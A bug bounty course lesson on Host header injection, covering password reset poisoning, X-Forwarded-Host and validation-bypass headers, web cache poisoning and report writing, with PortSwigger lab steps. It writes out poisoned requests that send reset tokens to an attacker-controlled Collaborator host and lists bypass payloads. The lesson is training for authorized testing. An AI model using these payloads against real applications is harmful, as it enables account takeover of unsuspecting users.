Bug Bounty Course -- Day 25 of 60
42%

Day 25 Bug Bounty — Host Header Injection Attacks 2026

Day 25 Bug Bounty — Host Header Injection Attacks 2026
DAY 25
🎯 BUG BOUNTY COURSE
FREE

Part of the 60-Day Bug Bounty Mastery Course

Day 25 of 60 · 40% complete

Password reset poisoning is one of those vulnerabilities that produces an almost disbelieving reaction the first time you demonstrate it. You send a password reset request for someone else’s account, swap the Host header for your Burp Collaborator URL, and thirty seconds later you’re watching the victim’s reset token arrive in your Collaborator log. No phishing. No social engineering. Just a single HTTP header modification and a link that the victim will reasonably trust because it came from the application itself.
Host header injection sits at the intersection of authentication, infrastructure, and caching vulnerabilities. The core issue is straightforward — the application trusts the Host header to construct URLs without validating it — but the attack surface is broader than most testers initially realise. Password reset poisoning is the headline variant, but the same root cause enables web cache poisoning, SSRF, and virtual host routing attacks. Day 25 covers all of them.

🎯 What You’ll Master in Day 25

How Host header injection works and why applications trust an attacker-controllable value
Password reset poisoning — the full attack chain from header manipulation to account takeover
X-Forwarded-Host and bypass headers that work when direct Host modification is blocked
Web cache poisoning via Host header — scaling a single request to affect all users
How to write a High/Critical Host header injection bug bounty report

⏱️ 20 min read · Burp Suite for Exercises 2 & 3


How Host Header Injection Works

The HTTP Host header tells the server which virtual host is being addressed — in a shared hosting environment, dozens of domains may point to the same IP, and the Host header determines which application handles the request. In theory, the server knows its own domain and should validate the Host header against it. In practice, many applications use the Host header value directly in their business logic: constructing password reset URLs, building canonical links, routing to backend services, or setting cache keys.

The attacker’s leverage is control over this header. In normal browser traffic, the browser sets the Host header to the domain in the URL and you can’t change it. In Burp Suite’s intercept proxy, you can modify any header before it reaches the server. An application that uses Host to construct a password reset link without validation will happily include your attacker-controlled domain in that link, send it to the victim’s email, and not know anything went wrong.

HOST HEADER INJECTION — BURP SUITE TESTING SETUP
# Step 1: Enable Burp Collaborator (Burp Pro)
Burp menu → Burp Collaborator client → Copy to clipboard
Your payload: xxxxx.oastify.com (unique per-test subdomain)
# Step 2: Capture password reset request in Burp Repeater
POST /forgot-password HTTP/1.1
Host: target.com ← CHANGE THIS
Content-Type: application/x-www-form-urlencoded
email=victim@target.com
# Step 3: Modify Host header
Host: xxxxx.oastify.com
# Step 4: If Host is validated, try bypass headers
Host: target.com
X-Forwarded-Host: xxxxx.oastify.com
# Step 5: Check Collaborator for incoming request
Burp Collaborator → Poll now → HTTP interactions received
If you see a GET /reset?token=XXX → VULNERABLE

🛠️ EXERCISE 1 — BROWSER (NO INSTALL)
Read the PortSwigger Research — Understanding Password Reset Poisoning

⏱️ 10 minutes · Browser only

Before touching the labs, I always read the PortSwigger research article on the vulnerability class. Their write-ups are the clearest, most technically precise explanations of web vulnerabilities available anywhere — and they’re free. Understanding the mechanism deeply makes the lab exercises click immediately rather than being trial-and-error.

Step 1: Read the PortSwigger Host Header Attacks article
Go to: portswigger.net/web-security/host-header
Read the full article.

Step 2: Answer these questions after reading:
a) What header besides Host can be used to inject a domain?
b) How does the “flawed validation” bypass work?
(What format makes the application think it’s the real domain?)
c) What is a “dangling markup” injection and how does Host enable it?

Step 3: Find the list of all Host injection variants
The PortSwigger article lists multiple techniques.
Write down every bypass variant they mention.
Which bypass works when the Host value is validated as an exact match?

Step 4: Understand the password reset attack flow
PortSwigger shows the exact HTTP request modification.
What specific line changes between the legitimate and malicious request?
What happens next when the victim clicks the poisoned reset link?

✅ The “flawed validation” bypasses are the most practically valuable finding from this reading — particularly the Host: target.com:attacker.com variant (the port field being used as a second host) and the Host: attacker.com#target.com variant. Many applications validate only that the Host header contains their domain, not that it IS their domain. Adding your domain after a colon or hash character can satisfy the contains() check while injecting your domain into URL construction. These bypasses are what elevate the testing from “the obvious test fails” to “the bypass works”.

📸 Write down every bypass variant and share in #bug-bounty.


Password Reset Poisoning — Full Attack Chain

Password reset poisoning is the cleanest, most directly reportable variant of Host header injection. The attack chain is: attacker initiates password reset for victim account → modifies Host header to attacker-controlled domain → application generates reset token and sends reset email to victim with attacker’s domain in the link → victim clicks what appears to be a legitimate reset email → attacker’s server receives the reset token → attacker uses token to set new password and owns the account.

The beauty of this attack from a bug bounty perspective is the clear, demonstrable impact. You don’t need to guess whether it’s exploitable — you can demonstrate the full chain using test accounts and Burp Collaborator without touching any real user. The severity is unambiguously Critical when the chain results in complete account takeover.

securityelites.com
Password Reset Poisoning — Request Comparison
LEGITIMATE REQUEST
POST /reset-password HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
 
email=victim@email.com

Email sent: https://target.com/reset?token=ABC123

POISONED REQUEST
POST /reset-password HTTP/1.1
Host: attacker.oastify.com
Content-Type: application/x-www-form-urlencoded
 
email=victim@email.com

Email sent: https://attacker.oastify.com/reset?token=ABC123 ← TOKEN STOLEN

📸 The only difference between the legitimate request and the poisoned request is a single header line — Host. That one-character difference routes the reset token to an attacker-controlled server. The victim receives an email from the legitimate application email address and sees a link that looks like a reset link — the domain is the only giveaway, and many victims don’t check URLs before clicking.


Bypass Headers — When Direct Injection Fails

Many applications validate the Host header — checking that it contains their domain or matches a whitelist. When direct Host modification fails, I move to bypass headers. The most effective is X-Forwarded-Host — a proxy header that many applications accept as an override for the actual Host value, often without the same validation applied to the Host header itself. Some applications strip X-Forwarded-Host but accept X-Host, Forwarded, or X-Original-Host.

The validation bypass techniques are equally important. Applications that check whether the Host header contains their domain can be bypassed with Host: target.com@attacker.com or Host: attacker.com#target.com. The application’s string matching finds “target.com” in the header, but the URL construction uses the full value — routing the generated link to the attacker’s domain.

🧪 EXERCISE 2 — PORTSWIGGER LAB (FREE)
Password Reset Poisoning via Host Header — PortSwigger Web Security Academy

⏱️ 20 minutes · PortSwigger Web Security Academy (free account)

PortSwigger’s Host header labs are the best structured practice for this vulnerability class. The password reset poisoning lab walks you through the complete attack chain with the exact Burp modifications needed — this is the closest to a real-world exploitation you’ll get in a legal environment.

Step 1: Go to portswigger.net/web-security/host-header/exploiting/password-reset-poisoning
Create a free account if you don’t have one.
Launch the lab: “Basic password reset poisoning”

Step 2: Find the password reset functionality
Navigate to /forgot-password
Capture the request in Burp Suite

Step 3: Modify the Host header
In Burp Repeater:
Change: Host: vulnerable-website.com
To: Host: [your exploit server URL from lab]

Step 4: Trigger the reset for the victim account
Submit with email=carlos@carlos-montoya.net
(Carlos is the target user in this lab)

Step 5: Check the exploit server access log
The reset email will contain your exploit server URL
Get the token from the server log

Step 6: Use the token to log in as Carlos
Navigate to: /forgot-password?temp-forgot-password-token=[stolen_token]
Reset Carlos’s password to anything
Log in as Carlos to solve the lab

Note the exact request modification that made it work.
What would happen if the Host header was validated?
Try X-Forwarded-Host if the basic lab succeeds quickly.

✅ Completing this lab gives you the real-world confidence that comes from successful exploitation in a controlled environment. The lab is structured to be solvable without hints if you follow the steps — and the moment the reset token arrives in your exploit server log is one of the clearest demonstrations of a Critical vulnerability you’ll experience in security training. When this happens on a real bug bounty target, you know immediately what you’re looking at and how to document it for maximum impact.

📸 Screenshot the stolen token in your exploit server log and share in #bug-bounty.


Web Cache Poisoning via Host Header

Web cache poisoning via Host header is the variant with the highest potential scale. Instead of affecting one user’s password reset, a successful cache poisoning attack delivers a poisoned response to every user who requests the cached endpoint. If the Host header is included in the response (as an absolute URL, a script source, or a canonical tag) but not in the cache key, an attacker can send a poisoned request that gets cached and served to all subsequent visitors.

Testing cache poisoning safely requires cache busters — unique parameter values appended to the URL that prevent your poisoned response from being served to real users during testing. Always test cache poisoning with a cache buster parameter first to confirm the vulnerability without polluting real cached responses.


Writing the Bug Bounty Report

Host header injection reports follow a clear structure: the specific vulnerable endpoint, the exact header modification, the impact chain demonstrated, and the suggested remediation. For password reset poisoning, the impact chain is explicit — demonstrate that a victim’s reset token can be captured and used for account takeover, using your own test accounts only. Never attempt to capture another user’s real reset token.

🧪 EXERCISE 3 — PORTSWIGGER LAB (ADVANCED)
Host Header Injection with X-Forwarded-Host Bypass

⏱️ 20 minutes · PortSwigger Web Security Academy

The advanced variant is where real-world skill pays off. When the direct Host header modification fails (which it will on hardened applications), the X-Forwarded-Host bypass is your next move. This lab forces you to think beyond the obvious test and use the bypass technique.

Step 1: Find “Password reset poisoning via middleware” lab
portswigger.net/web-security/host-header/exploiting/password-reset-poisoning
Select the X-Forwarded-Host / middleware variant lab

Step 2: Attempt direct Host modification first
Modify Host header to your exploit server
Confirm it fails (host is validated)

Step 3: Add X-Forwarded-Host header
Keep original Host: vulnerable-website.com
Add: X-Forwarded-Host: [your exploit server URL]
Note: application is running behind a proxy that trusts this header

Step 4: Follow the same token capture → account takeover chain
Same target email, same exploit server log check
Same token → password reset → login as victim

Step 5: Test additional bypass headers
After solving: try adding each of these (one at a time):
X-Host: [your server]
Forwarded: host=[your server]
X-Original-Host: [your server]
Which ones does this app also accept?

Step 6: Write a three-paragraph report section
Section 1: Vulnerability description
Section 2: Steps to reproduce (exact request)
Section 3: Impact + remediation recommendation

✅ The X-Forwarded-Host bypass is what separates thorough testing from shallow testing. If you only test the obvious Host header modification and move on when it fails, you miss the real vulnerability. This lab trains the habit of trying every bypass variant before marking a potential injection point as “not vulnerable.” The three-paragraph report structure you write in Step 6 is exactly the format that triage teams at major bug bounty programs can act on immediately — vulnerability description, reproducible steps, impact and fix.

📸 Share your three-paragraph report section in #bug-bounty. Real skill at writing reports.

✅ Day 25 Complete — Host Header Injection

Password reset poisoning, X-Forwarded-Host bypass, web cache poisoning, and report writing. Day 26 moves to SSTI — Server-Side Template Injection to Remote Code Execution across five template engines.


🧠 Quick Check

You modify the Host header to your Burp Collaborator URL on a password reset request. The server responds with 200 OK but you receive no pingback in Collaborator. You then try X-Forwarded-Host with your Collaborator URL and still nothing. What should you try next?



❓ Frequently Asked Questions

What is Host Header Injection?
When a web application uses the HTTP Host header value in its logic without validating it matches the application’s actual domain — enabling an attacker to inject an arbitrary domain into password reset links, cache keys, or server-side requests.
What is password reset poisoning?
An attacker initiates a password reset for a victim account while manipulating the Host header to their controlled domain. The application sends the victim a reset email with the attacker’s domain in the link. If the victim clicks it, the attacker captures the reset token and takes over the account.
What headers should I test for Host header injection?
Host (direct), X-Forwarded-Host, X-Host, X-Original-Host, Forwarded (RFC 7239), X-Rewrite-URL, X-Original-URL. Many applications protect Host but trust proxy headers without the same validation.
What is the severity of Host Header Injection?
Low to Critical depending on impact. Password reset poisoning leading to account takeover is Critical. Web cache poisoning affecting many users is High. Always chain to maximum demonstrated impact for the accurate severity rating.
How does web cache poisoning via Host header work?
If the Host header is included in cached response content but not in the cache key, an attacker can poison the cache with a malicious Host value. Subsequent users receive the poisoned cached response, potentially delivering XSS or redirects at scale.
What is the best lab for practicing Host Header Injection?
PortSwigger Web Security Academy — free dedicated labs covering password reset poisoning, X-Forwarded-Host bypass, and cache poisoning variants. The best structured practice environment for this vulnerability class.
← Day 24

CRLF Injection — Header Injection & Response Splitting

Day 26 →

SSTI Bug Bounty — Template Injection to RCE

📚 Further Reading

ME
Mr Elite
Owner, SecurityElites.com
The first Host header injection I found on a real bug bounty program was in a financial services application. The password reset endpoint had basic Host validation — it checked whether the header contained the company’s domain. A Host: company.com@my-collaborator.com payload bypassed the check immediately. Thirty seconds after submitting the request, a Collaborator DNS pingback arrived, followed by an HTTP request with the reset token in the URL path. The total time from “let me try this bypass” to “I have the reset token” was under two minutes. The vulnerability had been in production for years — nobody had tested the bypass variants. That’s the lesson: the obvious test failing means nothing if you haven’t tried the bypasses.

Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free

Leave a Comment

Your email address will not be published. Required fields are marked *